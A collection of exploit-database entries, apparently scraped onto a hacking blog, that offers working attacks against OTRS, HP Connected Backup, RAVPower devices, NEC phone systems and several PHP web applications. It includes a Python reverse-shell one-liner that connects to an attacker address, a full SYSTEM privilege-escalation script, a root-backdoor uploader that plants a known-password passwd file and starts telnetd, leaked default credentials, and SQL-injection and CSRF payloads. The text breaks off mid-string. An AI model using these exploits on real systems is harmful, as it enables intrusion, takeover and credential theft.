# Exploit Title: OTRS 5.0.x/6.0.x - Remote Command Execution (1)
# Date: 21-01-2018
# Exploit Author: Bæln0rn
# Vendor Homepage: https://www.otrs.com/
# Software Link: http://ftp.otrs.org/pub/otrs/
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1
# Tested on: OTRS 5.0.2/CentOS 7.2.1511
# CVE : CVE-2017-16921
CVE-2017-16921:
"In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user."
OTRS 5.0.2 PoC:
1. Authenticate to an agent account. <path>/index.pl
2. Open "Admin" tab. <path>/index.pl?Action=Admin
3. Open "SysConfig" link. <path>/index.pl?Action=AdminSysConfig
4. Find the "Crypt:PGP" subgroup. <path>/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework
5. Manipulate form parameters and use "Update" button to save:
"PGP"
-Default: No
-New: Yes
"PGP::Bin"
-Default: /usr/bin/gpg
-New: <shell command including executables the webserver user has execute permissions for, no options>
-PoC (Reverse Python Shell): /usr/bin/python
"PGP::Options"
-Default: --homedir /opt/otrs/.gnupg/ --batch --no-tty --yes
-New: <any command options>
-PoC (Reverse Python Shell): -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOURIP>",<YOURLISTENINGPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
6. Open "Admin" tab. <path>/index.pl?Action=Admin
7. Open "PGP Keys" to execute saved command. <path>/index.pl?Action=AdminPGP
Behavior will vary based on commands. The above PoC opened a stable, no TTY, reverse shell under the "apache" user. The page eventually timed out with a 502 error, but the web application seems otherwise unaffected. Killing the shell before timeout advances the web application to the proper "PGP Management" page. The exploit can be repeated unlimited times with step #7 above.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863558020
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# # # # #
# Exploit Title: Affiligator - Affiliate Webshop Management System 2.1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: https://www.getaffiligator.com/
# Software Link: https://codecanyon.net/item/affiligator-affiliate-webshop-management-system/21214946
# Version: 2.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5977
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/search/?q=&price_type=range&price=[SQL]
#
# %31%30%30%20%61%6e%64%28%73%65%6c%65%63%74%21%56%65%72%41%79%61%72%69%2d%7e%30%2e%20%66%72%6f%6d%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%56%65%72%73%69%6f%6e%28%29%29%29%79%29%78%29
#
# # # # #
#Tested on HP Connected Backup version 8.8.2.0 on Windows 7 x64
import os
import sys
import time
import requests
from bs4 import BeautifulSoup
def send_request(body):
url="http://localhost:16386/"
headers = {"Content-Type": "text/xml; charset=utf-8", 'SOAPAction': '""', "Set-Cookie": "CCSessionID=SessionID11"}
response = requests.post(url, data=body, headers=headers)
if response.status_code != requests.codes.ok:
print "Non-200 response. Exiting..."
sys.exit()
else:
return response.text
def get_tdate(response):
soup = BeautifulSoup(response, "html.parser")
tdate = soup.findAll("m-tdate")[0].string
return tdate
#Copy cmd.exe to world-writeable folder
print "HP Connected Backup Privilege Escalation by Peter Lapp(lappsec)"
print "Copying cmd.exe to C:\\hpcb-privesc"
os.system("mkdir C:\\hpcb-privesc")
os.system("copy C:\\Windows\\system32\\cmd.exe C:\\hpcb-privesc\\sethc.exe")
print "Creating backup for C:\\hpcb-privesc\\sethc.exe"
#StartScan required before IncludeFile request will be accepted
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:StartScan xmlns:q1="http://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")
time.sleep(3)
#Add file to backup
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:IncludeFile xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXHNldGhjLmV4ZQ==</param-1><param-2 xsi:type="xsd:boolean">true</param-2></q1:IncludeFile></soap:Body></soap:Envelope>""")
print "Initiating Backup"
#Start backup
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:Backup xmlns:q1="http://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")
print """Sleeping for 300 seconds to give time for backup to complete.
If the script fails after this then change the sleep period to give the backup enough time to complete"""
time.sleep(300)
print "Initiating restore"
#PrepareRetrieve requires valid PID of process running as SYSTEM. PID 456 is common for Windows 7 but if it fails, try another
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:PrepareForRetrieve xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:unsignedInt">456</param-1></q1:PrepareForRetrieve></soap:Body></soap:Envelope>""")
#We have to get the m-TDate value for the file in order for the restore to work correctly
print "Getting m-TDate value"
fileinfo = send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:GetRestoreDirectoryInfo xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXA==</param-1></q1:GetRestoreDirectoryInfo></soap:Body></soap:Envelope>""")
tdate = get_tdate(fileinfo)
print "Adding Restore file"
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:AddRestoreFile xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXHNldGhjLmV4ZQ==</param-1><param-2 xsi:type="xsd:boolean">false</param-2><param-3 xsi:type="xsd:unsignedInt">"""+tdate+"""</param-3></q1:AddRestoreFile></soap:Body></soap:Envelope>""")
print "Setting alternate restore path to C:\\Windows\\system32\\"
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:SetAlternateRestorePath xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:string">C:\Windows\system32</param-1><param-2 xsi:type="xsd:boolean">false</param-2></q1:SetAlternateRestorePath></soap:Body></soap:Envelope>""")
#Set restore to replace existing file
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:SetReplaceExisting xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:boolean">true</param-1></q1:SetReplaceExisting></soap:Body></soap:Envelope>""")
print "Restoring C:\\hpcb-privesc\\sethc.exe to C:\\Windows\\system32\\sethc.exe"
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:Restore xmlns:q1="http://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")
print "If it made it this far without an error, then you should now be able to log out, press SHIFT 5 times and be given a command prompt as SYSTEM. Enjoy!"
NEC Univerge SV9100/SV8100 WebPro 10.0 Remote Configuration Download
Vendor: NEC Corporation
Product web page: http://www.nec.com
Affected version: WebPro <=10.00
DSP Firmware Version: 12.11.00.02
Summary: NEC's UNIVERGE® SV9100 is the unified communications (UC)
solution of choice for small and medium businesses (SMBs) who don't
want to be left behind. Designed to fit your unique needs, the UNIVERGE
SV9100 platform is a powerful communications solution that provides
SMBs with the efficient, easy-to-deploy, mobile technology that they
require.
Desc: The gzipped telephone system configuration file 'config.gz' or
'config.pcpx' that contains the unencrypted data file 'conf.pcpn',
can be downloaded by an attacker from the root directory if previously
generated by a privileged user. Attacker can also sniff the network
and hijack the session id which resides in a GET request to further
generate the config file. The sessionid can also be brute-forced
because of its predictability containing 5-digit number. This will
enable the attacker to disclose sensitive information and help her
in authentication bypass, privilege escalation, system access and
denial of service via config modification.
Tested on: Henry/1.1
NEC-i SV8100-NA 08.00/2.1
NEC SV9100-GE 07.00.52/2.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5448
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5448.php
11.12.2017
--
Disclosing default credentials with weak password policy:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# curl -O "http://192.168.1.1:8001/config.gz" ; gzip -d config.gz ; hexdump -C -s 0x041f220 -n 352 config
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 66253 100 66253 0 0 17171 0 0:00:03 0:00:03 --:--:-- 17168
0041f220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
0041f300 00 00 00 6e 65 63 69 69 20 20 20 20 20 35 38 34 |...necii 584|
0041f310 34 37 20 20 20 01 00 74 65 63 68 20 20 20 20 20 |47 ..tech |
0041f320 20 31 32 33 34 35 36 37 38 02 00 41 44 4d 49 4e | 12345678..ADMIN|
0041f330 31 20 20 20 20 30 30 30 30 20 20 20 20 03 00 41 |1 0000 ..A|
0041f340 44 4d 49 4e 32 20 20 20 20 39 39 39 39 20 20 20 |DMIN2 9999 |
0041f350 20 04 00 55 53 45 52 31 20 20 20 20 20 31 31 31 | ..USER1 111|
0041f360 31 20 20 20 20 05 00 61 74 65 6c 20 20 20 20 20 |1 ..atel |
0041f370 20 35 38 34 34 37 20 20 20 02 00 20 20 20 20 20 | 58447 .. |
0041f380
Level:User:Password:Role:
- - - - - - - - - - - - -
1:atel:58447:MAN (Manufacturer)
1:necii:47544:MAN (Manufacturer)
1:necii:58447:MAN (Manufacturer)
2:sltech:12345678:IN (Installer)
2:tech:12345678:IN (Installer)
3:ADMIN1:0000:SA (System Administrator A)
3:admin1:0000:SA (System Administrator A)
4:ADMIN2:9999:SB (System Administrator B)
4:admin2:9999:SB (System Administrator B)
4:USER1:1111:UA (User Administrator)
5:USER1:1111441:UA (User Administrator)
5:user1:1111:UA (User Administrator)
SAVE_CONFIG() request (Save to PC) with brute-forceable session
that will generate the config.gz / config.pcpx config file:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<html>
<body>
<form action="http://192.168.1.1:8001/SaveConfig.htm?sessionId=31337&SAVE_CONFIG()" method="POST" enctype="multipart/form-data">
<input type="hidden" name="hasDataChanged" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# # # # #
# Exploit Title: LiveCRM SaaS Cloud 1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://livecrm.co/
# Software Link: https://codecanyon.net/item/livecrm-saas-cloud-cloud-based-open-source-complete-business-management-solution-crm/21219419
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5985
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/livecrm/web/index.php?r=site/login&company_id=[SQL]
#
# %31%20%4f%52%20%31%20%47%52%4f%55%50%20%42%59%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%33%61%2c%56%45%52%53%49%4f%4e%28%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%20%48%41%56%49%4e%47%20%4d%49%4e%28%30%29%20%4f%52%20%31
#
# # # # #
"""
# Exploit Title: RAVPower - remote stack disclosure
# Date: 22/01/2018
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: https://www.ravpower.com/
# Software Link: https://www.ravpower.com/
# Version: 2.000.056
# Tested on: OSX
# CVE : CVE-2018-5319
"""
import socket
import sys
import re
__author__ = "Daniele Linguaglossa"
def redall(s):
tmp = s.recv(1)
while not str(tmp).endswith("<errno>"):
tmp+=s.recv(1)
print tmp
tmp = str(tmp).split("\r\n\r\n",1)[1]
return re.sub("[\x0a]+","", tmp,100)
def hexdump(src, length=16):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c+length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable))
return ''.join(lines)
if __name__ == "__main__":
if len(sys.argv) == 2:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],80))
packet = "GET /protocol.csp?fname=a&opt=%s&function=get HTTP/1.1\r\nConnection: close\r\nHost: {0}\r\n\r\n".format(sys.argv[1])
packet = packet % ("%0a"*12241)
s.send(packet)
result = redall(s)
print "Dumping memory...\n\n"
print hexdump(result)
else:
print "Usage: {0} <ip>".format(sys.argv[0])
# # # # #
# Exploit Title: Easy Car Script 2014 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://www.easyphotostore.com/
# Software Link: http://www.easycarscript.com/
# Version: 2014
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5986
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/site_search.php?s_vehicletype=auto&s_order=[SQL]&s_row=[SQL]
#
# %35%31%20%2f%2a%21%30%35%35%35%35%50%72%6f%63%65%64%75%72%65%2a%2f%20%2f%2a%21%30%35%35%35%35%41%6e%61%6c%79%73%65%2a%2f%20%28%65%78%74%72%61%63%74%76%61%6c%75%65%28%30%2c%2f%2a%21%30%35%35%35%35%63%6f%6e%63%61%74%2a%2f%28%30%78%32%37%2c%30%78%33%61%2c%40%40%76%65%72%73%69%6f%6e%2c%64%61%74%61%62%61%73%65%28%29%29%29%2c%30%29%2d%2d%20%2d
#
# # # # #
# # # # #
# Exploit Title: Facebook Style Php Ajax Chat - Zechat 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/facebook-style-php-ajax-chat-zechat/16491266
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5978
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/login.php
#
# User: ' UNION ALL SELECT 0x31,0x32,0x33,concat(0x63)-- A
# Pass: anything
#
# # # # #
<!--
# # # # #
# Exploit Title: RSVP Invitation Online 1.0 - Cross-Site Request Forgery (Update Admin Pass)
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://putrazendrato.link/
# Software Link: https://www.codegrape.com/item/rsvp-invitation-online/3890
# Demo: http://putrazendrato.link/rsvp/login.php
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5976
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
#
# Proof of Concept:
# 1)
-->
<html>
<body>
<form method="post" action="http://localhost/rsvp/function/account.php">
<!--Change admin pass-->
<input name="newpassword" type="text" value="efe">
<!--Change admin pass confirm-->
<input name="confirm" type="text" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>
# # # # #
# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5979
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/login.php
#
# User: ' UNION ALL SELECT 0x31,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x33,0x34-- XXX
# Pass: anything
#
# # # # #
# # # # #
# Exploit Title: Tumder - An Arcade Games Platform 2.1 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://sndr.co.ve/
# Software Link: https://codecanyon.net/item/tumder-an-arcade-games-platform/18726994
# Version: 2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5984
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/category/[SQL]
#
# %2d%33%20%20%2f%2a%21%30%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%31%31%31%31%41%4c%4c%2a%2f%20%2f%2a%21%30%31%31%31%31%53%45%4c%45%43%54%2a%2f%20%30%78%33%31%2c%30%78%33%32%2c%43%4f%4e%43%41%54%28%44%61%74%61%62%61%73%65%28%29%2c%56%45%52%53%49%4f%4e%28%29%2c%30%78%37%65%2c%44%41%54%41%42%41%53%45%28%29%2c%30%78%37%65%2c%55%53%45%52%28%29%29%2d%2d%20%2d
#
# # # # #
<!--
# # # # #
# Exploit Title: Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://ronnieswietek.com/
# Software Link: https://codecanyon.net/item/client-photo-studio-photography-cms/1191688
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5969
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
#
# Proof of Concept:
# 1)
-->
<html>
<body>
<script src="http://code.jquery.com/jquery-1.7.1.min.js"></script>
<h2>New Admin</h2>
<div class="efe">
<form method="post" onSubmit="return false">
<label for="username">Username:</label>
<input id="username" type="text"><br><br>
<label for="password1">Password:</label>
<input id="password1" type="password"><br><br>
<label for="password2">Confirm Password:</label>
<input id="password2" type="password"><br><br>
<label for="email">Email:</label>
<input id="email" type="text"><br><br>
<input id="ekleabi" value="Ver Ayari" type="submit">
</form>
</div>
<script type="text/javascript">
$("#ekleabi").live('click',function()
{
$.ajax({
type: "POST",
url: "http://ronnieswietek.com/cc/clients/resources/ajax/ajax_new_admin.php",
data:{
username:$(".efe #username").val(),
password1:$(".efe #password1").val(),
password2:$(".efe #password2").val(),
email:$(".efe #email").val()
}
});
});
</script>
</body>
</html>
# # # # #
# Exploit Title: Classified Ads CMS - Quickad 4.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/quickad-classified-ads-php-script/19960675
# Version: 4.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5972
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/listing?keywords=[SQL]&location=All%20United%20States&placetype=country&placeid=231[SQL]&cat=[SQL]&subcat=5[SQL]&filter=&sort=Newest&Submit=
#
# ' UNION ALL SELECT NULL,CONCAT(version(),0x7e7e,database()),NULL-- gLLf
#
# Parameter: keywords (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: keywords=a%' AND 1665=1665 AND '%'='&location=All United States&placetype=country&placeid=231&cat=&subcat=5&filter=&sort=Newest&Submit=
#
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: keywords=a%' AND (SELECT 7944 FROM(SELECT COUNT(*),CONCAT(0x71706a7871,(SELECT (ELT(7944=7944,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND '%'='&location=All United States&placetype=country&placeid=231&cat=&subcat=5&filter=&sort=Newest&Submit=
#
# Parameter: placeid (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: keywords=a&location=All United States&placetype=country&placeid=231') AND 1976=1976 AND ('lFmx'='lFmx&cat=&subcat=5&filter=&sort=Newest&Submit=
#
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: keywords=a&location=All United States&placetype=country&placeid=231') AND (SELECT 3263 FROM(SELECT COUNT(*),CONCAT(0x71706a7871,(SELECT (ELT(3263=3263,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('psTy'='psTy&cat=&subcat=5&filter=&sort=Newest&Submit=
#
# Type: UNION query
# Title: Generic UNION query (NULL) - 31 columns
# Payload: keywords=a&location=All United States&placetype=country&placeid=231') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71706a7871,0x465344587867724149544c5a556147787a5876737447595477725372556d4a576c786c50546d7667,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- IJTp&cat=&subcat=5&filter=&sort=Newest&Submit=
#
# Parameter: subcat (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: keywords=a&location=All United States&placetype=country&placeid=231&cat=&subcat=5') AND 7923=7923 AND ('zhKR'='zhKR&filter=&sort=Newest&Submit=
#
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: keywords=a&location=All United States&placetype=country&placeid=231&cat=&subcat=5') AND (SELECT 5797 FROM(SELECT COUNT(*),CONCAT(0x71706a7871,(SELECT (ELT(5797=5797,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('SvkR'='SvkR&filter=&sort=Newest&Submit=
#
# Type: UNION query
# Title: Generic UNION query (NULL) - 31 columns
# Payload: keywords=a&location=All United States&placetype=country&placeid=231&cat=&subcat=5') UNION ALL SELECT CONCAT(0x71706a7871,0x6d72485769576563544a7a73516f67797544477a67515556755054545146717253556e676e705a74,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- jcSO&filter=&sort=Newest&Submit=
#
# Parameter: cat (GET)
# Type: UNION query
# Title: Generic UNION query (NULL) - 3 columns
# Payload: keywords=a&location=All United States&placetype=country&placeid=231&cat=' UNION ALL SELECT NULL,CONCAT(0x71706a7871,0x786a716b7066557459416e78454b506469534c61464f6d78664e434a49506c494b7a795243554556,0x716a6b6271),NULL-- gLLf&subcat=5&filter=&sort=Newest&Submit=
#
# # # # #
"""
# Exploit Title: RAVPower - remote root
# Date: 23/01/2018
# Exploit Authors: Daniele Linguaglossa
# Vendor Homepage: https://www.ravpower.com/
# Software Link: https://www.ravpower.com/
# Version: 2.000.056
# Tested on: OSX
# CVE : CVE-2018-5997
"""
import requests
import time
import telnetlib
PATH_PASSWD = "/etc"
FILE_PASSWD = "passwd"
PATH_VSTFUNC = "/etc/init.d"
FILE_VSTFUNC = "vstfunc"
FILE_RC = "/etc/rc.d/rc"
BACKDOOR_TERM = "export TERM=xterm"
BACKDOOR_TELNET = "/usr/sbin/telnetd &"
BASH_SHEBANG = "#!/bin/sh"
TELNETD = "/usr/sbin/telnetd -p 1111 &"
def upload(host, port, path, name, content):
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"
path = "/upload.csp?uploadpath=%s&file=1515865637281" % path
url ="http://{0}:{1}{2}".format(host,port,path)
files = {'file' : ('%s' % name, content,'application/octet-stream')}
headers = {
"user-agent": user_agent
}
try:
requests.post(url,headers=headers,files=files)
return True
except:
return False
# root:admin
tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh
guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new
"""
tmp_vstfunc = """
